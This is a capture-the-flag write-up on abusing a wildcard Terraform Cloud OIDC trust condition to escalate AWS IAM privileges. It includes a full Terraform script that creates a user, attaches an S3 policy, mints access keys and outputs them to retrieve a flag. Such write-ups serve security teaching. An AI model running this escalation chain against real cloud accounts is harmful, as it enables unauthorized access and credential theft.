Orion

For this challenge, we are given a tfstate file. tfstate is a terraform state file which is used to deploy infrastructure as code

There is a policy document s3_access

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::dc-33-cv-tf-ctf-bucket-cxc0p38y"
        },
        {
            "Effect": "Allow",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::dc-33-cv-tf-ctf-bucket-cxc0p38y/flag.txt"
        }
    ]
}

The policy allows any user/role attached to retrieve the flag. Lets see which pricipal is the policy is attached to. Scrolling further down, while we aren't able to find who the s3_access policy is attached to, we found another IAM policy document.

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "iam:ListUserPolicies",
                "iam:ListAttachedUserPolicies",
                "iam:GetUser",
                "iam:CreateUser"
            ],
            "Resource": "arn:aws:iam::691903504411:user/terraform-dc33-*"
        },
        {
            "Effect": "Allow",
            "Action": [
                "iam:ListAccessKeys",
                "iam:CreateAccessKey"
            ],
            "Resource": "arn:aws:iam::691903504411:user/terraform-dc33-*"
        },
        {
            "Effect": "Allow",
            "Action": "iam:AttachUserPolicy",
            "Resource": "arn:aws:iam::691903504411:user/terraform-dc33-*",
            "Condition": {
                "ArnEquals": {
                    "iam:PolicyArn": "arn:aws:iam::691903504411:policy/S3BucketAccessPolicy"
                }
            }
        }
    ]
}

The terraform_user_management policy allow the pricipal to attach the S3BucketAccessPolicy to any user starting with terraform-dc .

We can also see theres an terraform_oidc IAM role.

Looking at the assume role policy, what should immidiately stand out is the wild card in the condition. This basically allow any Terraform Cloud Organization starting with cloud-village-* to assume the role.

{
    "Statement": [
        {
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "StringEquals": {
                    "app.terraform.io:aud": "aws.workload.identity"
                },
                "StringLike": {
                    "app.terraform.io:sub": "organization:cloud-village-*:workspace:dc-33-cv-tf:*"
                }
            },
            "Effect": "Allow",
            "Principal": {
                "Federated": "arn:aws:iam::691903504411:oidc-provider/app.terraform.io"
            }
        }
    ],
    "Version": "2012-10-17"
}

We can also see that the TerraformDC33UserManagement IAM policy is attached to the TerraformCloudDC33Role role.

With that, we have the full exploit chain.

  • Assume Role (arn:aws:iam::691903504411:role/TerraformCloudDC33Role),

  • Create User (terraform-dc33-*),

  • Attach Policy (S3BucketAccessPolicy) to User,

  • Create Access Key for User,

  • Get Flag (arn:aws:s3:::dc-33-cv-tf-ctf-bucket-cxc0p38y/flag.txt),


First lets create a terraform cloud organization and workspace.

Next, I will be creating a Terraform script to automate the exploit chain.

terraform {
  required_providers {
    aws = {
      source  = "hashicorp/aws"
      version = "~> 4.49.0"
    }
  }
  cloud {
    organization = "cloud-village-dietrying"
    workspaces {
      name = "dc-33-cv-tf"
    }
  }
}


provider "aws" {
  region = "us-west-2"
}

resource "aws_iam_user" "terraform_user" {
  name = "terraform-dc33-kabinet"
  path = "/"
}

# Attach the existing policy to the user
resource "aws_iam_user_policy_attachment" "s3_policy_attachment" {
  user       = aws_iam_user.terraform_user.name
  policy_arn = "arn:aws:iam::691903504411:policy/S3BucketAccessPolicy"
}

# Create access key for the user
resource "aws_iam_access_key" "terraform_user_key" {
  user = aws_iam_user.terraform_user.name
}

# Output the access key details
output "access_key_id" {
  value = aws_iam_access_key.terraform_user_key.id
  description = "Access Key ID for terraform-dc33-kabinet user"
}

output "secret_access_key" {
  value = aws_iam_access_key.terraform_user_key.secret
  sensitive = true
  description = "Secret Access Key for terraform-dc33-kabinet user (sensitive)"
}

output "user_arn" {
  value = aws_iam_user.terraform_user.arn
  description = "ARN of the created user"
}

output "user_name" {
  value = aws_iam_user.terraform_user.name
  description = "Name of the created user"
}

We will require to authentication to terraform cloud. Running terraform apply, we are able to get the access key and secret access key.

Then using the s3 access key and secret access key, we are able to retrieve the flag.


Reference

https://developer.hashicorp.com/terraform/tutorials/cloud/dynamic-credentials

https://github.com/hashicorp-education/learn-terraform-dynamic-credentials/tree/main/aws/trust

Last updated

Was this helpful?